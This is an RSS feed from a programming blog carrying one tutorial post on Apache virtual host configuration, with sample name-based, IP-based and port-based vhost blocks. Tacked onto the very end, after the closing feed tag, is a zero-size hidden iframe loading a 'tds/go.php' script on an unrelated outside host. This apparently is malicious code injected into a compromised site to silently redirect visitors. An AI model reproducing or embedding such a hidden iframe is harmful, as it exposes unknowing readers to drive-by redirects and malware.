<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dijexi.com &#187; virtual host</title>
	<atom:link href="http://www.dijexi.com/tag/virtual-host/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dijexi.com</link>
	<description>free programming tutorial, tips and tricks on php, codeigniter, delphi, dotnet, ajax and more..</description>
	<lastBuildDate>Fri, 13 Jan 2012 23:21:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>Apache Virtual Host Configuration</title>
		<link>http://www.dijexi.com/2009/07/apache-virtual-host-configuration/</link>
		<comments>http://www.dijexi.com/2009/07/apache-virtual-host-configuration/#comments</comments>
		<pubDate>Sun, 19 Jul 2009 06:45:00 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[configuration]]></category>
		<category><![CDATA[virtual host]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/07/apache-virtual-host-configuration/</guid>
		<description><![CDATA[Image via Wikipedia Apache: Name Based Virtual Host The server machine has a primary name server.domain.tld. Then there are two aliases (CNAMEs) for that server say www.domain.tld and www.sub.domain.tld for the address server.domain.tld. We need different server configuration for each name so that each name can act as differrent web servers. Here is the configuration [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><div style="margin: 1em; width: 75px; display: block; float: right; height: 86px" class="zemanta-img" jquery1247985961296="1521"><a href="http://commons.wikipedia.org/wiki/Image:Premier_serveur_Web.jpeg"><img style="border-bottom: medium none; border-left: medium none; display: block; border-top: medium none; border-right: medium none" alt="The NeXT Computer used by Tim Berners-Lee at C..." src="http://upload.wikimedia.org/wikipedia/commons/thumb/0/07/Premier_serveur_Web.jpeg/300px-Premier_serveur_Web.jpeg" width="74" height="50" /></a>
<p style="font-size: 0.8em" class="zemanta-img-attribution">Image via <a href="http://commons.wikipedia.org/wiki/Image:Premier_serveur_Web.jpeg">Wikipedia</a></p>
</p></div>
<h2>Apache: <a class="zem_slink" title="Virtual hosting" href="http://en.wikipedia.org/wiki/Virtual_hosting" rel="wikipedia">Name Based Virtual Host</a></h2>
<p>The server machine has a primary name server.domain.tld. Then there are two aliases (CNAMEs) for that server say www.domain.tld and www.sub.domain.tld for the address server.domain.tld. </p>
<p>We need different server configuration for each name so that each name can act as differrent <a class="zem_slink" title="Web server" href="http://en.wikipedia.org/wiki/Web_server" rel="wikipedia">web servers</a>. </p>
<p>Here is the configuration for the vhost.conf file (the one that will be included in the main config file <a class="zem_slink" title="Httpd.conf" href="http://en.wikipedia.org/wiki/Httpd.conf" rel="wikipedia">httpd.conf</a>)</p>
<p> <span id="more-854"></span>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:c8c2820e-06f8-4b30-a6af-2a6a2a2e5965" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;">Port 80</p>
<p>ServerName server.domain.tld</p>
<p>NameVirtualHost *:80<br />
&lt;VirtualHost *:80&gt;<br />
&nbsp; &nbsp;DocumentRoot /www/domain<br />
&nbsp; &nbsp;ServerName www.domain.tld<br />
&nbsp; &nbsp;&#8230;<br />
&lt;/VirtualHost&gt;<br />
&lt;VirtualHost *:80&gt;<br />
&nbsp; &nbsp;DocumentRoot /www/subdomain<br />
&nbsp; &nbsp;ServerName www.sub.domain.tld<br />
&nbsp; &nbsp;&#8230;<br />
&lt;/VirtualHost&gt;<br />
&nbsp;</div>
</div>
<p>The asterisks match all addresses, so the main server serves no requests. Due to the fact that www.domain.tld is first in the <a class="zem_slink" title="Configuration file" href="http://en.wikipedia.org/wiki/Configuration_file" rel="wikipedia">configuration file</a>, it has the highest priority and can be seen as the <i>default</i> or <i>primary</i> server. </p>
<h2><a name="ip">Apache: Config for IP-based virtual hosts</a></h2>
<h3>Setup 1</h3>
<p>The server machine has two <a class="zem_slink" title="IP address" href="http://en.wikipedia.org/wiki/IP_address" rel="wikipedia">IP addresses</a> (111.22.33.44 and 111.22.33.55) which resolve to the names server.domain.tld and www.otherdomain.tld respectively. The <a class="zem_slink" title="Hostname" href="http://en.wikipedia.org/wiki/Hostname" rel="wikipedia">hostname</a> www.domain.tld is an alias (<a class="zem_slink" title="CNAME record" href="http://en.wikipedia.org/wiki/CNAME_record" rel="wikipedia">CNAME</a>) for server.domain.tld and will represent the main server. </p>
<p>Here is the configuration for the vhost.conf file (the one that will be included in the main config file httpd.conf)</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:bd7c8952-e82a-46e5-98d2-05428b21d107" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;">Port 80</p>
<p>DocumentRoot /www/domain<br />
ServerName www.domain.tld</p>
<p>&lt;VirtualHost 111.22.33.55&gt;<br />
&nbsp; &nbsp;DocumentRoot /www/otherdomain<br />
&nbsp; &nbsp;ServerName www.otherdomain.tld<br />
&nbsp; &nbsp;&#8230;<br />
&lt;/VirtualHost&gt;<br />
&nbsp;</div>
</div>
<p>www.otherdomain.tld can only be reached through the address 111.22.33.55, while www.domain.tld can only be reached through 111.22.33.44 (which represents our main server). </p>
<h3>Setup 2</h3>
<p>Same as setup 1, but we don&#8217;t want to have a dedicated main server. </p>
<p>Here is the configuration for the vhost.conf file (the one that will be included in the main config file httpd.conf)</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:b0a829c1-bb35-42f6-9b40-5e73c71fcca2" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;">&#8230;<br />
Port 80<br />
ServerName server.domain.tld</p>
<p>&lt;VirtualHost 111.22.33.44&gt;<br />
&nbsp; &nbsp;DocumentRoot /www/domain<br />
&nbsp; &nbsp;ServerName www.domain.tld<br />
&nbsp; &nbsp;&#8230;<br />
&lt;/VirtualHost&gt;</p>
<p>&lt;VirtualHost 111.22.33.55&gt;<br />
&nbsp; &nbsp;DocumentRoot /www/otherdomain<br />
&nbsp; &nbsp;ServerName www.otherdomain.tld<br />
&nbsp; &nbsp;&#8230;<br />
&lt;/VirtualHost&gt;<br />
&nbsp;</div>
</div>
<p>The main server can never catch a request, because all IP addresses of our machine are in use for IP-based virtual hosts (only localhost requests can hit the main server). </p>
<h3>Setup 3:</h3>
<p>The server machine has two IP addresses (111.22.33.44 and 111.22.33.55) which resolve to the names server.domain.tld and www-<a class="zem_slink" title="Web cache" href="http://en.wikipedia.org/wiki/Web_cache" rel="wikipedia">cache</a>.domain.tld respectively. The hostname www.domain.tld is an alias (CNAME) for server.domain.tld and will represent the main server. www-cache.domain.tld will become our <a class="zem_slink" title="Proxy server" href="http://en.wikipedia.org/wiki/Proxy_server" rel="wikipedia">proxy</a>-cache listening on port 8080, while the web server itself uses the default port 80. </p>
<p>Here is the configuration for the vhost.conf file (the one that will be included in the main config file httpd.conf)</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:212d1144-eac1-438b-ac54-d207feb9f0bf" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;">Port 80<br />
Listen 111.22.33.44:80<br />
Listen 111.22.33.55:8080</p>
<p>ServerName server.domain.tld</p>
<p>&lt;VirtualHost 111.22.33.44:80&gt;<br />
&nbsp; &nbsp;DocumentRoot /www/domain<br />
&nbsp; &nbsp;ServerName www.domain.tld<br />
&nbsp; &nbsp;&#8230;<br />
&lt;/VirtualHost&gt;</p>
<p>&lt;VirtualHost 111.22.33.55:8080&gt;<br />
&nbsp; &nbsp;ServerName www-cache.domain.tld<br />
&nbsp; &nbsp;&#8230;<br />
&nbsp; &nbsp;&lt;Directory proxy:&gt;<br />
&nbsp; &nbsp; &nbsp; Order Deny,Allow<br />
&nbsp; &nbsp; &nbsp; Deny from all<br />
&nbsp; &nbsp; &nbsp; Allow from 111.22.33<br />
&nbsp; &nbsp;&lt;/Directory&gt;<br />
&lt;/VirtualHost&gt;<br />
&nbsp;</div>
</div>
<p>The main server can never catch a request, because all IP addresses (apart from localhost) of our machine are in use for IP-based virtual hosts. The web server can only be reached on the first address through port 80 and the proxy only on the second address through port 8080. </p>
<h2><a name="port">Port-based vhosts</a></h2>
<p>The server machine has one IP address (111.22.33.44) which resolves to the name www.domain.tld. If we don&#8217;t have the option to get another address or alias for our server we can use port-based vhosts if we need a virtual host with a different configuration. </p>
<p>Here is the configuration for the vhost.conf file (the one that will be included in the main config file httpd.conf)</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:2add2770-6cc4-4062-badf-bd581d7af4c2" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;">Listen 80<br />
Listen 8080<br />
ServerName www.domain.tld<br />
DocumentRoot /www/domain</p>
<p>&lt;VirtualHost 111.22.33.44:8080&gt;<br />
&nbsp; &nbsp;DocumentRoot /www/domain2<br />
&nbsp; &nbsp;&#8230;<br />
&lt;/VirtualHost&gt;<br />
&nbsp;</div>
</div>
<p>A request to www.domain.tld on port 80 is served from the main server and a request to port 8080 is served from the virtual host. </p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:f6194b98-3705-409b-b66c-edbaf250199c" class="wlWriterEditableSmartContent">Technorati Tags: <a href="http://technorati.com/tags/configuration" rel="tag">configuration</a>,<a href="http://technorati.com/tags/virtual+host" rel="tag">virtual host</a></div>
</p>
</p>
</p>
</p>
</p>
</p>
</p>
</p>
</p>
</p>
<div class="zemanta-related">
<h6 style="font-size: 1em" class="zemanta-related-title">Related articles by Zemanta</h6>
<ul class="zemanta-article-ul">
<li class="zemanta-article-ul-li"><a href="http://garinungkadol.com/2009/xampp-pretty-permalinks-wordpress/">XAMPP + Pretty Permalinks in WordPress </a>(garinungkadol.com) </li>
<li class="zemanta-article-ul-li"><a href="http://www.ghacks.net/2009/03/17/adding-a-name-based-virtual-host-in-apache/">Adding a Name-Based Virtual Host in Apache</a> (ghacks.net) </li>
<li class="zemanta-article-ul-li"><a href="http://www.problogger.net/archives/2009/05/24/banishing-spammers-and-trolls-with-htaccess-files/">Banishing Spammers and Trolls With .htaccess Files </a>(problogger.net)</li>
</ul>
</div>
</p>
<div style="margin-top: 10px; height: 15px" class="zemanta-pixie"><a class="zemanta-pixie-a" title="Reblog this post [with Zemanta]" href="http://reblog.zemanta.com/zemified/b48896d5-6b72-4824-a403-e338c7dbca8c/"><img style="border-bottom-style: none; border-right-style: none; border-top-style: none; float: right; border-left-style: none" class="zemanta-pixie-img" alt="Reblog this post [with Zemanta]" src="http://img.zemanta.com/reblog_e.png?x-id=b48896d5-6b72-4824-a403-e338c7dbca8c" /></a></div>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2010/09/developing-web-based-pos-application-using-ruby-on-rails-on-debian-5/" rel="bookmark">Developing Web Based POS Application Using Ruby on Rails on Debian 5</a></li><li><a href="http://www.dijexi.com/2009/06/how-to-change-upload-file-size-on-a-windows-localhost/" rel="bookmark">How to change upload file size on a Windows localhost</a></li><li><a href="http://www.dijexi.com/2009/08/how-to-debug-php-program-remotely-using-phpdesigner-2008/" rel="bookmark">How to Debug PHP Program Remotely using phpDesigner 2008</a></li><li><a href="http://www.dijexi.com/2009/06/portable-apache-mysql-php/" rel="bookmark">Portable Apache, MySQL, PHP</a></li><li><a href="http://www.dijexi.com/2010/05/setup-kannel-sms-gateway-on-ubuntu/" rel="bookmark">Setup Kannel SMS Gateway on Ubuntu</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F07%2Fapache-virtual-host-configuration%2F&amp;linkname=Apache%20Virtual%20Host%20Configuration"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/07/apache-virtual-host-configuration/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
